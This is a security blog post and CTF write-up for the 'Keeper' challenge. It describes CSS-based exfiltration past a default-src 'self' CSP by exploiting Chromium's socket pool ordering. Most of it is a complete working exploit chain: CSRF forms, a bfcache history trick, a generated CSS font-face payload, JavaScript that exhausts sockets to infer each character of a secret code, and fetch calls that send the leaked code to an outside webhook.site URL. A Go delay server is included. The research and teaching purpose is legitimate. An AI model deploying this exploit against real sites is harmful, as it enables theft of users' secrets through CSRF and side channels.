Salvatore Abello's Blog

Hacking & other stuff


CSS Exfiltration under default-src 'self'

CSS Injections have always fascinated me. A few months ago, I asked myself: “is it possible to do CSS Exfiltration if default-src ‘self’ is specified in the CSP?”

Well, if you’re reading this you already know the answer is yes. Also, I wrote a challenge about this for TRX CTF 2025: Keeper. This post will serve both as a writeup for the challenge and as an explanation of this new “technique”.

Index

Keeper

Author: @salvatore-abello

Solves: 3

alt text

Overview

This is a simple web application to store secrets. The source code of a Python server using Flask is given and there are 4 important routes:

  • /set-secret, store a secret given a username and a 6-hexdigit code and then redirect to /. The username and the code will be saved in the session.
  • /, render our secret without escaping it
  • /get-secret, retrieve a secret given its username and code. Only one request every 5 seconds is allowed.
  • /visit, trigger bot.js to visit a given URL. The bot username will be returned to us. This is the source code of bot.js:
...
        page = await context.newPage();

        let random_secret_code = Array.from(crypto.randomBytes(6)).map(b => "ABCDEF0987654321"[b % 16]).join('');
        random_username = Array.from(crypto.randomBytes(32)).map(b => "abcdefghijklmnopqrstuvwxyz"[b % 26]).join('');
        
        console.log(`${random_username} will visit ${SITE} first, and then ${url}`);

        await page.goto(`${SITE}`, { waitUntil: "domcontentloaded", timeout: 5000 });
        await sleep(1500);

        await page.type("#first-code-digit", random_secret_code);
        await page.click("#next-btn");

        await page.type("#username-input", random_username);
        await page.type("#secret-input", FLAG);
        await page.click("#submit-button");

        await sleep(1500);

    } catch (err) {
        console.error(err);
        if (browser) await browser.close();
        return reject(new Error("Error: Setup failed, if this happens consistently on remote contact an admin"));
    }

    resolve(`The user ${random_username} will visit your URL soon`);

    try {
        await page.goto(url, { waitUntil: "domcontentloaded", timeout: 5000 });
        await sleep(70_000);
    } catch (err) {
        console.error(err);
    }
...

Every response which won’t send HTML is a TextResponse:

class TextResponse(Response):
    default_mimetype = "text/plain"
    
    def __init__(self, response):
        super().__init__(response, content_type=self.default_mimetype)

Note that the Flask session cookie has HttpOnly attribute and also SameSite=Strict. Furthermore, the web application will send the following headers in every request:

@app.after_request
def add_security_headers(resp: Response):
    resp.headers["Content-Security-Policy"] = \
        "default-src 'self';"\
        "base-uri 'none';"\
        "frame-src 'none';"\
        "frame-ancestors 'none';"\
        "style-src 'self' 'unsafe-inline';"

    resp.headers["X-Content-Type-Options"] = "nosniff"
    resp.headers["Referrer-Policy"] = "no-referrer"
    
    resp.headers["Cross-Origin-Opener-Policy"] = "same-origin"
    resp.headers["Document-Policy"] = "force-load-at-top"
    resp.headers["X-Frame-Options"] = "SAMEORIGIN"
    resp.headers["Cache-Control"] = "no-store"

    return resp

The goal now is pretty obvious: leak the bot code and then get the flag by sending a request to /get-secret

Solution

bfcache & CSRF

To achieve our goal, we need to get the bot code and arbitrary HTML on the same page. How do we do this? Enter the bfcache. This cache stores entire pages, including dynamic modifications to the DOM. By letting the user visit a page we control, we can later go back in history using window.history.go(-2) where we will find the bot code.

Result (With d-none removed):

alt text

When window.history.go(-2) is executed, the page becomes isolated from other pages due to the COOP header. The next step is to do CSRF to set an arbitrary secret. This can be done by opening a separate window where a form targeting http://localhost:1337/set-secret will be submitted

exploit.html

    <script>

        function popup(url){
            let w = window.open(url, "s1", "width= 640, height= 480, left=0, top=0, resizable=yes, toolbar=no, location=no, directories=no, status=no, menubar=no, scrollbars=yes, resizable=no, copyhistory=no")
            w.blur();
            window.focus();
            return w;
        }

        const sleep = (ms) => {
            return new Promise(resolve => {
                setTimeout(resolve, ms);
            });
        }

        async function main(){
            fetch("{{ webhook }}?STARTING", {mode: "no-cors"})

            await sleep(2000);
            w1 = popup(`/csrf`);

            await sleep(1000); // wait for form submission
            
            window.history.go(-2);
        }

        document.addEventListener("DOMContentLoaded", main);
</script>

csrf.html

...
<body>
    <div class="container text-center">
        <div class="row justify-content-center mb-3">
            <div class="col-10 col-md-6">
                <h5>Input your secret here:</h5>
                
                <form action="{{ chall_url }}/set-secret" method="POST">
                    <input id="input" class="form-control" name="code" rows="2" value="{{ random_password }}"></input>
                    <input id="input" class="form-control" name="username" rows="2" value="{{ random_username }}"></input>
                    <input id="input" class="form-control" name="secret" rows="2" value="{{ css_payload }}"></input>
                    <button type="submit" class="btn btn-primary mt-3">Submit</button>
                </form>
            </div>
        </div>
        <div class="row justify-content-center">
            <div class="col-10 col-md-6">
                <div class="secret-container border p-3">
                    <div class="hover-text">Hover me to show the secret</div>
                    <div class="secret-div" id="secret"></div>
                </div>
            </div>
        </div>
    </div>
<script> 
    const sleep = (ms) => {
        return new Promise(resolve => {
            setTimeout(resolve, ms);
        });
    }

    async function csrf_submit(){
        await sleep(50);
        document.forms[0].submit();
    }

    fetch("{{ webhook }}?DOING_CSRF", {mode: "no-cors"})

    csrf_submit();    

</script>
</body>
</html>

Result

alt text

Nice. Since no script can be executed, the only thing that can be done is CSS Injection. Since the single code digits are in separate <input> tags, a simple Text Node Exfiltration is enough to leak the code. This can be done via font-face at rule and unicode-range, as described here. There’s only one problem: this technique won’t work since default-src: self is specified in the CSP, so no external requests can be sent.

So, how can we leak the code without sending external requests? This is where the Connection Pool comes into play.

Swimming in the Connection Pool 🏊

Abusing the connection pool is not a new concept, and there have been numerous challenges built around this. The core idea is that browsers use sockets to communicate with servers. As the operating system and the hardware it runs on have limited resources, browsers have to impose a limit1. If all sockets are occupied, no other requests can be made until one is freed. This can be exploited to measure the loading time of a request from another page or to detect if a resource has been requested.
However, the following technique involves counting the number of requests made. For this purpose, I developed a method using CSS injection to map each character in the charset (abcdef0987654321) to a specific number of requests, ranging from 3 to 18. These requests are initiated using the @font-face at-rule by specifying a corresponding number of URLs in the src property. The browser attempts to load each URL sequentially until it finds a valid one2. Since all provided URLs return a 404 error, the browser tries all of them. Here’s an example:

@font-face{
    font-family:has_A;
    src: url(http://localhost:1337/1118104637.something?random=3714835915),url(http://localhost:1337/2235380074.something?random=670921881),url(http://localhost:1337/3179595971.something?random=1661173205);
    unicode-range:U+0041;
}

@font-face{
    font-family:has_B;
    src: url(http://localhost:1337/2357283186.something?random=3305567327),url(http://localhost:1337/605747667.something?random=1840745527),url(http://localhost:1337/865462447.something?random=1135644699),url(http://localhost:1337/2122681983.something?random=1228559196);
    unicode-range:U+0042;
}

...

An animation loop is used to try every character:

@keyframes trychar_0 {
    0.0% { font-family: rest; }
    5.0% { font-family: has_A, rest; }
    6.25% { font-family: rest; }
    11.25% { font-family: has_B, rest; }
    12.5% { font-family: rest; }
    ...
}

Assuming the code to leak is B0B1B0, and given that there are six elements with the code-digit class, I can use the :nth-child pseudo-class to target the first element (so the first input, containing the first character of the code) and apply the following CSS:

.code-digit:nth-child(1) {
    animation: trychar_0 step-end 2s 0s;
    animation-iteration-count: 1;
    animation-delay: 4s
}

Now, in the Network tab of DevTools, you should now see 4 requests since the first character of the code is B, which was mapped to 4 requests. With the characters distinguishable from each other, it’s now possible to count how many requests are sent by abusing the connection pool.

Deep Diving into Chromium Internals

In order to understand the exploit, it’s important to clarify some important concepts.

Stalled requests, priorities & more

A request is considered “stalled” when both of these conditions are met3:

  • The socket pool has already handed out (or is in the process of connecting) as many sockets as allowed, that is, the total number of sockets in use is at least the global maximum.
  • Despite the global limit being reached, there is at least one group with pending requests that has not yet hit its per-group socket limit. In other words, if a group could accept another socket (because it hasn’t reached its group limit), but the pool overall is full, then a request waiting in that group is stalled due to the global socket exhaustion.

It’s known that when a socket is freed, the request with the highest priority is processed first. However, if two stalled requests have the same priority, it’s unclear which one gets served next.

Since I couldn’t find any online documentation about this, I had to look directly at the Chromium source code (HUGE thanks to @simonedimaria) to see which functions decide the order of stalled requests:

// Search for the highest priority pending request, amongst the groups that
// are not at the |max_sockets_per_group_| limit. Note: for requests with
// the same priority, the winner is based on group hash ordering (and not
// insertion order).
bool TransportClientSocketPool::FindTopStalledGroup(Group** group,
                                                    GroupId* group_id) const {
  CHECK(group);
  CHECK(group_id);
  Group* top_group = nullptr;
  const GroupId* top_group_id = nullptr;
  bool has_stalled_group = false;
  for (const auto& it : group_map_) {
    Group* curr_group = it.second;
    if (!curr_group->has_unbound_requests())
      continue;
    if (curr_group->CanUseAdditionalSocketSlot(max_sockets_per_group_)) {
      has_stalled_group = true;
      bool has_higher_priority =
          !top_group ||
          curr_group->TopPendingPriority() > top_group->TopPendingPriority();
      if (has_higher_priority) {
        top_group = curr_group;
        top_group_id = &it.first;
      }
    }
  }

  if (top_group) {
    *group = top_group;
    *group_id = *top_group_id;
  } else {
    CHECK(!has_stalled_group);
  }
  return has_stalled_group;
}

...

void TransportClientSocketPool::CheckForStalledSocketGroups() {
  // Loop until there's nothing more to do.
  while (true) {
    // If we have idle sockets, see if we can give one to the top-stalled group.
    Group* top_group = nullptr;
    GroupId top_group_id;
    if (!FindTopStalledGroup(&top_group, &top_group_id))
      return;

    if (ReachedMaxSocketsLimit()) {
      if (idle_socket_count_ > 0) {
        CloseOneIdleSocket();
      } else {
        // We can't activate more sockets since we're already at our global
        // limit.
        return;
      }
    }

    // Note that this may delete top_group.
    OnAvailableSocketSlot(top_group_id, top_group);
  }
}

Note that group_map_ is a GroupMap4, defined as:

using GroupMap = std::map<GroupId, raw_ptr<Group, CtnExperimental>>;

This means that when two groups have the same pending priority, the code never updates the current top group. In other words, the group that was already stored as top_group wins. Also, the order in group_map_ isn’t random, it follows the hash order of the GroupId. So even if priorities are equal, the winner is determined by that underlying order.

While GroupId is defined as:5

...
  class NET_EXPORT GroupId {
   public:
    // Returns the prefix for `privacy_mode` for logging.
    static std::string_view GetPrivacyModeGroupIdPrefix(
        PrivacyMode privacy_mode);

    // Returns the prefix for `secure_dns_policy` for logging.
    static std::string_view GetSecureDnsPolicyGroupIdPrefix(
        SecureDnsPolicy secure_dns_policy);

    GroupId();
    GroupId(url::SchemeHostPort destination,
            PrivacyMode privacy_mode,
            NetworkAnonymizationKey network_anonymization_key,
            SecureDnsPolicy secure_dns_policy,
            bool disable_cert_network_fetches);
...

Finally, url::SchemeHostPort is defined as:

class COMPONENT_EXPORT(URL) SchemeHostPort {
 public:
 ...

 private:
  // Note: `port_` is declared first to control the sort order.
  uint16_t port_ = 0;
  std::string scheme_;
  std::string host_;
};

Now, let’s go back to GroupId to see how the hash ordering is done6:


... 

   bool operator==(const GroupId& other) const {
      return std::tie(destination_, privacy_mode_, network_anonymization_key_,
                      secure_dns_policy_, disable_cert_network_fetches_) ==
             std::tie(other.destination_, other.privacy_mode_,
                      other.network_anonymization_key_,
                      other.secure_dns_policy_,
                      other.disable_cert_network_fetches_);
    }

    bool operator<(const GroupId& other) const {
      return std::tie(destination_, privacy_mode_, network_anonymization_key_,
                      secure_dns_policy_, disable_cert_network_fetches_) <
             std::tie(other.destination_, other.privacy_mode_,
                      other.network_anonymization_key_,
                      other.secure_dns_policy_,
                      other.disable_cert_network_fetches_);
    }

...

Since std::map uses the < operator to order its keys7, group_map_ ends up being sorted according to that tuple. So, the keys are arranged sequentially by {port, scheme, host} (among other factors, which I’m ignoring here).

Consider two examples illustrating the ordering:

Example 1:

  • request1:
    • port: 80
    • scheme: http
    • host: aaaaaa.sleep.example.com
  • request2:
    • port: 80
    • scheme: http
    • host: zzzzzz.sleep.example.com

Since both requests “share” the same port and scheme, the decision is based on the host. Here, aaaaaa.sleep.example.com comes before zzzzzz.sleep.example.com because the first character a is less than z in alphabetical order. Therefore, request1 is processed first.

Example 2:

  • request1:
    • port: 1337
    • scheme: http
    • host: aaaaa.sleep.example.com
  • request2:
    • port: 80
    • scheme: http
    • host: zzzzz.sleep.example.com

In this case, even though the scheme is the same for both, the port numbers differ. Since 80 (from request2) is less than 1337 (from request1), request2 will be processed first.

Okay! Let the games begin!

Abusing GroupId hash ordering

Here’s the solution I came up with:

  1. Block 255 sockets by sending requests to 255 different origins (eg. <i>.sleep.example.com) that will respond after a long delay (+70 seconds)
  2. Block the last available socket using the same method as above and keep its controller
  3. send a fetch request to zzzzzz.sleep.example.com
  4. Wait until the first font request is initiated (in my exploit I wait 4 seconds to do so)
  5. Use the stored controller to abort the request from step 2 using controller.abort()
  6. Immediately begin sending fetch requests one after another to aaaaaa.sleep.example.com. Make sure these requests are sent sequentially! (Only after the previous one has loaded)

Now, if everything is done correctly, this is what is going to happen:

  1. When the final socket becomes available, the request with the highest priority (so the font request8) will be processed first.
  2. Next, the freed socket is assigned to the pending fetch request from step 6. Even though there are two pending requests, the one targeting aaaaaa.sleep.example.com is chosen first because its host is alphabetically lower than zzzzzz.sleep.example.com (as determined by TransportClientSocketPool::CheckForStalledSocketGroups)
  3. Once that request is completed, another font request is triggered, and the loop repeats until all font requests have been handled.
  4. After the loop ends, the last fetch request from 6 is processed. At this point, since only two requests remain, the fetch request from step 6 gets priority, allowing the fetch from step 3 to complete!
  5. Finally, count the number of fetch requests from step 6 that were processed. This count corresponds to the number of font requests made via CSS, which corresponds to the letter assigned to that number of requests! For example, if 4 fetch requests are processed, the leaked letter is B

alt text

Now the last thing to do is putting everything together!

Putting it all together

server1: zzzz${i}.server.com
server2: aaaa${i}.server.com

Here’s what the exploit is going to do:

  • Generate the CSS payload as described earlier
  • Open a popup to perform CSRF and set an arbitrary secret with the CSS payload
  • Open another popup
  • Use window.history.go(-2) to navigate back to the page with the bot code
    • The CSRF will modify the session cookie but the bot code will still remain in the bfcache
  • In the previously opened popup:
    • Create a hashmap (eg. 3 -> A, 4 -> B, 5 -> C, …)
    • Fill 255 sockets
    • Repeat the following for each character in the code:
      • Fill the 256th socket and Keep its controller
      • Send a fetch requests to server1
      • Wait until the font requests are triggered
      • Release the 256th socket
      • Immediately start sending fetch requests to server2 in a loop
      • Exit from that loop when a request to server1 completes
      • The number of requests sent to server2 corresponds to a certain character
  • Profit

Note

Ensure that each character is assigned enough requests. I noticed that the lowest character should be allocated at least three requests in order to be leaked successfully.

PoC

You can download the exploit from here

Limitations

Works only on Chromium-based browsers.

Conclusion

I had a great time creating and solving this challenge! Unfortunately, out of the three solvers, only one solved it as intended. :/

The exploit could be much faster than it currently is. I also want to thank @simonedimaria for helping me with this research and keeping me sane. I’ll probably write another blog post on other ways to exploit these findings :)

Also, I hope you enjoyed this little writeup-research :heart:

Final payload

Server Code

server.py
import string
import random

from flask import Flask, render_template

import gen_css

app = Flask(__name__)

FLAG = ""
URL = "http://localhost:1337"
WEBHOOK = "http://webhook.site/5a046d8e-9d3c-42e2-a865-1ee6585527f9"


@app.get("/")
def index():
    return render_template("exploit.html", webhook=WEBHOOK)

@app.get("/connection-pool")
def connection_palle():
    return render_template("connection-pool.html", webhook=WEBHOOK)

@app.get("/csrf")
def csrf():
    with open("exploit-css.html", "r") as f:
        cssexploit = f.read()

    username =''.join([random.choice(string.ascii_lowercase) for _ in range(32)])
    password = ''.join([random.choice(string.digits) for _ in range(6)])
    
    print("user", username, "passw", password)

    return render_template("csrf.html", 
                           chall_url=URL, 
                           css_payload=cssexploit, 
                           random_username=username, 
                           random_password=password,
                           webhook=WEBHOOK)

if __name__ == "__main__":
    app.run("0.0.0.0", 4004)
gen_css.py
import secrets
import random
from urllib.parse import quote


CHARSET = "ABCDEF0987654321" 
URL = "http://localhost:1337"

def generate_fonts_part_2(charset: str) -> str:
    final = ""
    progr = round(100 / len(charset), 2)
    
    for x in range(6): 
        part = ""
        for y, c in enumerate(charset):
            part += f"""    {progr*y}% {{ font-family: rest; }}
    {progr*y + 5}% {{ font-family: has_{x}_{c.upper()}, rest; }}
"""
        final += f"@keyframes trychar_{x} {{\n{part}\n}}\n"

    return final

def generate_set_animation_payload(charset: str) -> str:
    result = ""
    
    for x in range(6):
        result += f"""
.code-digit:nth-child({x+1}) {{
    animation: trychar_{x} step-end 2s 0s;
    animation-iteration-count: 1;
    animation-delay: {x*10+4}s
}}
"""

    return result

def generate_font_face_part(charset: str) -> str:
    font_face_part = ""

    for i in range(6):
        for x in range(len(charset)):

            url_string = ','.join(f"url({URL}/{random.getrandbits(32)}.something?random={random.getrandbits(32)})" for _ in range((x+3)))

            font_face_part += f"""
@font-face{{
    font-family:has_{i}_{charset[x].upper()};
    src: {url_string};
    unicode-range:U+00{hex(ord(charset[x].upper()))[2:]};
}}
    """

    return font_face_part

TEMPLATE = f"""<style>

#secret-form{{
    display: block !important;
}}

{generate_font_face_part(CHARSET)}

{generate_set_animation_payload(CHARSET)}

{generate_fonts_part_2(CHARSET)}

</style>
"""

with open("exploit-css.html", "w") as f:
    f.write(TEMPLATE)

Templates

csrf.html
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>CSRF</title>
</head>
<body>
    <div class="container text-center">
        <div class="row justify-content-center mb-3">
            <div class="col-10 col-md-6">
                <h5>Input your secret here:</h5>
                
                <form action="{{ chall_url }}/set-secret" method="POST">
                    <input id="input" class="form-control" name="code" rows="2" value="{{ random_password }}"></input>
                    <input id="input" class="form-control" name="username" rows="2" value="{{ random_username }}"></input>
                    <input id="input" class="form-control" name="secret" rows="2" value="{{ css_payload }}"></input>
                    <button type="submit" class="btn btn-primary mt-3">Submit</button>
                </form>
            </div>
        </div>
        <div class="row justify-content-center">
            <div class="col-10 col-md-6">
                <div class="secret-container border p-3">
                    <div class="hover-text">Hover me to show the secret</div>
                    <div class="secret-div" id="secret"></div>
                </div>
            </div>
        </div>
    </div>
<script> 
    const sleep = (ms) => {
        return new Promise(resolve => {
            setTimeout(resolve, ms);
        });
    }

    function popup(url){
        let w = window.open(url, "WINBG", `width=1000, height= 480, left=0, top=0`)
        w.blur();
        window.focus();
        return w;
    }

    async function csrf_submit(){
        await sleep(50);
        document.forms[0].submit();
    }

    fetch("{{ webhook }}?DOING_CSRF", {mode: "no-cors"})

    csrf_submit();    

</script>
</body>
</html>
exploit.html
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <script>

        function popup(url){
            let w = window.open(url, "s1", "width= 640, height= 480, left=0, top=0, resizable=yes, toolbar=no, location=no, directories=no, status=no, menubar=no, scrollbars=yes, resizable=no, copyhistory=no")
            w.blur();
            window.focus();
            return w;
        }

        const sleep = (ms) => {
            return new Promise(resolve => {
                setTimeout(resolve, ms);
            });
        }

        async function main(){
            fetch("{{ webhook }}?STARTING", {mode: "no-cors"})

            await sleep(2000);
            w1 = popup(`/csrf`);

            await sleep(1000); // wait for form submission
            
            fetch("{{ webhook }}?STARTING_LEAK", {mode: "no-cors"})

            w2 = popup("/connection-pool");

            await sleep(100);
            
            window.history.go(-2);
        }

        document.addEventListener("DOMContentLoaded", main);
</script>
</body>
</html>
connection-pool.html
<textarea id="log" style="width: 100%; height: 300px;"></textarea>

<script>
    LOG = 'Starting'
    SOCKETLIMIT = 255;
    MYSERVER = `sleep.yourserver.test`
    
    done = false;
    let leaked_code = "";

    const logtextarea = document.getElementById("log");

    const sleep = (ms) => {
        return new Promise(resolve => {
            setTimeout(resolve, ms);
        });
    }

    const log = (l, type = 'INFO') => {
        const timestamp = new Date().toLocaleTimeString();
        let prefix = '[!] ';
        if (type === 'SUCCESS') {
            prefix = '[+] ';
        } else if (type === 'FAILURE') {
            prefix = '[x] ';
        }
        logtextarea.value += `[${timestamp}] ${prefix}${l}\n`;
        logtextarea.scrollTop = logtextarea.scrollHeight;
    }

    const fetch_sleep_long = (i) => {
        controller = new AbortController();
        const signal = controller.signal;
        
        fetch(`http://sleep${i}.${MYSERVER}/120?q=${i}`, {
            mode: 'no-cors',
            signal: signal
        });

        return controller
    }

    const fetch_step_6 = async (i) => {
        let start = performance.now();
        await fetch(`http://aaaaa${i}.${MYSERVER}/0?q=${i}`, {
            mode: 'no-cors'
        });
    }
    
    const block_socket = async (i) => {
        fetch_sleep_long(i);
        await sleep(0);
    }
    
    const exhaust_sockets = async() => {
        let i = 0
        for (; i < SOCKETLIMIT; i++) {
            block_socket(i);
        }
        log(`Used ${i} connections`, 'INFO');
    }

    async function fetch_step_3(i){
        await fetch(`http://zzzz${i}.${MYSERVER}/0?q=${i}`, {
            mode: 'no-cors'
        });
        
        done = true;
    }
    
    async function leak_char(){
        done = false;
        let hashmap = {
            1: "A",
            2: "B",
            3: "C",
            4: "D",
            5: "E",
            6: "F",
            7: "0",
            8: "9",
            9: "8",
            10: "7",
            11: "6",
            12: "5",
            13: "4",
            14: "3",
            15: "2",
            16: "1"
        }

        let res_blocker_controller = await fetch_sleep_long(1337);
        await sleep(50);
        log(`Starting step 3...`, 'INFO');
        for(let i = 0; i < 5; i++){
            fetch_step_3(i)
        }

        log(`Waiting for font requests...`, 'INFO');

        // Wait until the first font is requested and then free the socket
        await sleep(4000)
        res_blocker_controller.abort();
    
        log(`Starting step 6...`, 'INFO');
        for(let i = 0; i < 32; i++){
            await fetch_step_6(i)

            if(done){
                return [hashmap[i + 1 - 2], hashmap[i - 2] || "A"];
            }

        }

        return null
    }

    async function main(){
        await sleep(1000);
        await exhaust_sockets();

        setTimeout(async () => {
            let result1 = await leak_char();
            log(`char n.1 guess: ${result1[1]}`, 'SUCCESS');
            leaked_code += result1[1]
            log(`Leaked code so far ${leaked_code}`, 'INFO');

            await fetch(`{{ webhook }}?token=${encodeURIComponent(leaked_code)}`, {
                mode: 'no-cors'
            });
        }, 1000)

        setTimeout(async () => {
            let result1 = await leak_char();
            log(`char n.2 guess: ${result1[1]}`, 'SUCCESS');
            leaked_code += result1[1]
            log(`Leaked code so far ${leaked_code}`, 'INFO');

            await fetch(`{{ webhook }}?token=${encodeURIComponent(leaked_code)}`, {
                mode: 'no-cors'
            });
        }, 11000)

        setTimeout(async () => {
            let result1 = await leak_char();
            log(`char n.3 guess: ${result1[1]}`, 'SUCCESS');
            leaked_code += result1[1]
            log(`Leaked code so far ${leaked_code}`, 'INFO');

            await fetch(`{{ webhook }}?token=${encodeURIComponent(leaked_code)}`, {
                mode: 'no-cors'
            });
        }, 21000)

        setTimeout(async () => {
            let result1 = await leak_char();
            log(`char n.4 guess: ${result1[1]}`, 'SUCCESS');
            leaked_code += result1[1]
            log(`Leaked code so far ${leaked_code}`, 'INFO');

            await fetch(`{{ webhook }}?token=${encodeURIComponent(leaked_code)}`, {
                mode: 'no-cors'
            });
        }, 31000)

        setTimeout(async () => {
            let result1 = await leak_char();
            log(`char n.5 guess: ${result1[1]}`, 'SUCCESS');
            leaked_code += result1[1]
            log(`Leaked code so far ${leaked_code}`, 'INFO');

            await fetch(`{{ webhook }}?token=${encodeURIComponent(leaked_code)}`, {
                mode: 'no-cors'
            });
        }, 41000)

        setTimeout(async () => {
            let result1 = await leak_char();
            log(`char n.6 guess: ${result1[1]}`, 'SUCCESS');
            leaked_code += result1[1];
            log(`Leaked code so far ${leaked_code}`, 'INFO');

            await fetch(`{{ webhook }}?token=${encodeURIComponent(leaked_code)}`, {
                mode: 'no-cors'
            });
        }, 51000)

    }

    main();
    
</script>

Go Server

This is the server code I usually use to do Connection Pool-related exploits

package main

import (
	"strconv"
	"strings"
	"time"

	"github.com/valyala/fasthttp"
)

var workerSemaphore = make(chan struct{}, 2048)

func main() {
	if err := fasthttp.ListenAndServe(":80", requestHandler); err != nil {
		panic("Error in ListenAndServe: " + err.Error())
	}
}

func requestHandler(ctx *fasthttp.RequestCtx) {
	workerSemaphore <- struct{}{}
	defer func() { <-workerSemaphore }()

	path := string(ctx.Path())
	switch path {
	case "/40sleep":
		time.Sleep(40 * time.Second)
		ctx.SetStatusCode(fasthttp.StatusOK)
		return

	case "/ssleep":
		time.Sleep(250 * time.Millisecond)
		ctx.SetStatusCode(fasthttp.StatusOK)
		return

	default:
		if len(path) > 1 {
			trimmed := strings.TrimPrefix(path, "/")
			if seconds, err := strconv.Atoi(trimmed); err == nil {
				time.Sleep(time.Duration(seconds) * time.Second)
				ctx.SetStatusCode(fasthttp.StatusOK)
				return
			}
		}
		ctx.Error("Not Found", fasthttp.StatusNotFound)
	}
}